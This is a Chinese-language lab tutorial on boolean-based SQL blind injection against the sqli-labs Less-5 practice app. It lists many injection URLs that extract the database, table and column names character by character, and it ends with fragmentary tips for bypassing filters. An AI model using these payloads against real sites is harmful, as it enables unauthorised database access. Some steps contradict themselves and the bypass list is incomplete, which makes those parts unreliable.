本次实验还是使用sqli-labs环境。在开始SQL盲注之前首先学习一下盲注需要用到的基础语法。
1、left()函数：left(str,lenth)它返回具有指定长度的字符串的左边部分。
left(a,b) 从左边截取a的b位
我们在命令行使用sqli-labs数据库实验一下，首先使用security数据库，然后对数据库名第一个字符进行查询，找到了第一个字母s
判断数据库第一位是否为s，加入判断语句=‘s’，看到结果返回1，说明当去数据库第一个字母为s
*没有使用数据库时结果返回为空
2、regexp函数：REGEXP在mysql是用来执行正则表达式的一个函数
select user() regexp ’root’ 查询当前用户是否为root，regexp为匹配root的正则表达式
查看当前数据库是否存在ri
3、like函数：LIKE通常与通配符%一起使用，%表示通配pattern中出现的内容，而不加通配符%的LIKE语法，表示精确匹配，其实际效果等同于 = 等于运算符
select user() like ‘ro%’ 查询当前用户是否为ro开头，可以看出当前用户是ro开头
使用like精准查询，这里可以看到使用like查询当前用户是否为root,结果为假，这是为什么呢？
因为我当前用户名为root@localhost
再次使用like精准查询当前用户，就返回了正确结果
4、substr函数：sbustr函数是用来截取字符串长度的函数。
substr(a,b,c)，就是从位置b开始截取a字符串的c位长度
判断当前数据库第一个字母是否为s
判断前4位是否为secu
5、ascii() 函数：查看字符/数字/符号的ascii码
查询字母的ascii码 select ascii(‘c’)
查询数字的ascii码 select ascii(1)
查询符号的ascii码
6、python使用chr()将ascii码转换为对应字符，使用ord()将字符转换为ascii码
接下来进行试验，打开sqli-labs第五关
1、首先判断注入点 http://localhost:8088/sqli-labs/Less-5/?id=1，返回正常页面
输入http://localhost:8088/sqli-labs/Less-5/?id=1'，页面报错说明存在注入点
2、使用order by猜列数，在order by 4时页面报错，说明存在3个列。
3、使用length函数查询数据库名长度直到找到正确的为止
http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=1 --+
http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=2 --+
http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=3 --+
http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=4 --+
也可以使用Burp Suite抓包对长度进行爆破
得到了数据库长度为8位
4、对数据库名进行猜解
判断数据库的第一位开始一个字符的ascii是否大于100
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>100--+ 结果返回正确
判断是否小于200
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))<200--+ 页面显示为空
不断缩小范围ascii范围
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>150--+ 页面显示为空
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>125--+ 页面显示为空
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>125--+ 页面显示为空
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>112--+ 结果返回正确
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>120--+ 页面显示为空
不断尝试后找到数据库第一位的ascii码为115
使用python查询ascii码115对应的字符为s
修改substr参数查询第二字符，不断尝试找到其ascii为101
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),2,1))=101--+
使用python得到第二字段为e
由于刚刚已经才接到数据库名字长度为八个字符，所以需要破解到到第八位，就可以得到当前数据库名字了。
5、接下来开始猜解表
首先查看security数据库中表的数量，发现有四个表
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=1 ;--+ 页面显示为空
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=2 ;--+ 页面显示为空
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=3 ;--+ 页面显示为空
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4 ;--+ 结果返回正确
使用length函数查询第一个表字段数：
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=1;--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=2;--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=3;--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6;--+
使用ascii对第一个表的第一个字符进行猜解最终得到其ascii码为101
localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
使用python得到字符为e
依次对六个字符进行猜解，得到数据表名为emails，看上去应该是邮件，不是我们想要的内容，接下来可以进行破解第二个表长度以及猜解名称这里不做演示，直到得到全部4个数据表名称emails、 referers 、uagents、users。接下来对users表进行猜解
6、猜解数据
首先判断列数，得到了一共有三个列。
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=1--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=2--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3--+
接下来对第一列表名的长度进行查询
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=1;--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2;--+
使用ascii方法猜解第一个列第一个字符，得到105，第一个字符为i
localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+ 猜解第一列i
修改substr函数，第二个参数，对第二个字符进行猜解，ascii码117，得到字符d
localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=117--+ 猜解第一列d
接下来步骤类似，对其余数据进行猜解就可以了。
这是ASCII码中所有可以显示的字符，可以作为猜解的ASCII数值应该就是32-126，所以是不是只要把阈值范围内的数值做成一个字典直接跑就行了呢？
使用这个Payload试一下：
localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=1--+
Burp Suite抓取数据包，提交到Intruder，将数值添加为变量，然后加载32-126的字典
跑一下康康，成功得到了正确的ASCII码，
然后使用left方法试一下，使用left函数判断当前数据库名字的左边第一位是否为字符1，页面显示任何信息所以结果为不是
localhost:8088/sqli-labs/Less-5/?id=1' and left((select database()),1)='1' --+
现在我们遍历所有可以输入的字符爆破数据库的第一个字符，实验一下，果然成功遍历出了正确的字符S，但是大小写S都可以成功，那么s的ASCII为115而S的ASCII为83，为什么使用ASCII遍历时候可以成功呢？
下面可以看到security数据库的第一字符为s
查看ASCII码
然后判断一下其ASCII码是否为115
那么判断它是否为83
结果为否。
所以我觉得原因可能是因为用户在创建数据库时侯使用的时小写的security所以这个数据被记录在数据库中，在盲注时使用ASCII方法猜解到了数据库所存储的小写security信息，而由于数据库本身时不区分大小写的，所以当我们查询时使用大写小写均可以查询到该数据库。就导致了爆破时s/S均可以爆破成功。
接下来使用left方法对数据库名其余字符进行爆破，修改left的参数为2，使查询一次返回两个字符，然后将正确的第一个输入对第二个字符进行爆破，得到正确的两个字符
这样的话用left进行猜解，字典可以减少26个字母。
一些简单盲注绕过过滤方法
一、=被过滤
1、可以使用通配符like或者REGEXP
比如想要查询id为8的数据一般会使用select * from users where id=8;
等于被过滤的话可以使用
或者<、>
或者不不等于
使用between
二、引号被过滤
使用十六进制
三、逗号被过滤
substr('abc',1,1)
limit 5,1
